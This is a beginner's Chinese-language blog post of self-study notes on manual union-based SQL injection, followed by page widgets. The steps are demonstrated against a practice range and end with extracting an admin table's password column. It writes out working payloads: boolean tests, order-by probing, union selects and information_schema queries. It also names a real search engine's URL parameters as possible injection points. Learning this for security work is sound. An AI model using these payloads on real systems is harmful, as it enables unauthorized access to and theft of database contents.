[自学笔记] sql注入学习笔记

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档


前言: sql注入的基本原理和自学总结

今天是自学网安第三天, 决定总结一下目前所学, 遂记录, 以备自己查看.
作为新人, 文章不严谨处欢迎指出!


一、sql注入的基本逻辑

sql注入是在存在sql注入漏洞的注入点, 在正常进行数据库的地方加入自己需要的sql指令, 进行数据库查询的操作.

sql注入之所以可以成功, 是因为用户自己也可以查询到数据库, 在进行数据库查询的地方插入自己的指令, 骗服务器查询对应的数据

二、sql注入的基本步骤

///手动注入:


分7步:

  1. 判断可否注入
  2. 判断字段数
  3. 判断显错位
  4. 判断库名
  5. 判断表名
  6. 判断字段(列)名
  7. 查具体数据

1.判断可否注入

一般来说, 进行数据库查询的地方都会带一个"?", 形似
https://www.wuzhuiso.com/s?q=evasion&src=srp&fr=extension_chrome&a=www
其中存在4个可能的注入点, 分别是
q=evasion
src=srp
fr=extension_chrome
a=www
为了方便, 以下使用封神台靶场进行演示
http://pu2lh35s.ia.aqlab.cn/?id=1
这里的id=1就是可能的注入点
我们可以通过经典的and 1=1判断是否可以注入
另外也可以用别的比如sleep(), 只要能发现自己的指令被执行就行

http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=1  #1当然=1, 所以页面正常
http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2  #1不=2, 页面显示异常, 证明and 1=2是可以被服务器执行的, 存在sql注入漏洞

值得注意的是, 有些网站会用引号把请求括起来, 导致指令无法执行, 可以自己使用引号让源码里面的引号闭合

http://pu2lh35s.ia.aqlab.cn/?id=1' and 1=1  #假设这里服务器执行的是select * from maoshe where 'id=1' and 1=1', 我们的指令被括出去了

若被waf防火墙拦截, 可以考虑对指令特殊处理.

2.判断字段数

可以使用order by排序命令判断

http://pu2lh35s.ia.aqlab.cn/?id=1 order by 1  #按第一个字段排序
#...省略
http://pu2lh35s.ia.aqlab.cn/?id=1 order by 3  #因为只有两个字段, 页面异常, 得知字段数=2

因为没有字段3, 所以服务器找不到对应数据.

3.判断显错位

一般使用联合查询union select, 即把两张段的数据拼接在一起显示

http://pu2lh35s.ia.aqlab.cn/?id=1 union select 1,2  #因为之前判断字段数只有2, 所以联合的只能有1,2 不然报错

因为联合查询优先显示前面的, 所以后面要求查询的可能被挤出去, 可以把id=1改成无法显示的, 比如id=100, 或者and 1=2, 也可以用limit x,y (x=下标, y=数量)

这里2显示出来了, 证明"2"处是一个回显点

4.判断库名

既然"2"处可以显示查询内容, 那么可以替换2为database()查询库名

http://pu2lh35s.ia.aqlab.cn/?id=1 union select 1,database()


得知当前库名为maoshe

5.判断表名

查表就不能这么简单粗暴了, 需要去到系统自带库information_schema查询tables表里面的table_name字段

http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='maoshe'  #在库information_schema中的tables表中查询table_schema为maoshe的table_name


得知该表为admin

6.查询具体数据

知道了库名和表名, 还需要知道自己要查的字段, 就可以查需要的数据了.

http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema='maoshe' and table_name='admin' limit x,1  #x从0开始往后查, 你能看出这段的意义吗?

于是, 我们得知我们要查的是maoshe库下的admin表里的password字段

#请你自己写一个尝试吧!
----

///使用工具注入

常用sqlmap.
sqlmap可以自动检测给定url(-u)或者数据包(-r)(可以用burp抓包)里面的sql漏洞并且利用它们把数据–dump出来, 但是要小心别把自己–dump进监狱.
这里不加介绍, 可以上网查, 有详细手册, 也可以help


备注

这里举例显错注入, 还有其他的注入方式.
查漏洞不用查出具体数据, 证明有这个漏洞就能提交

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值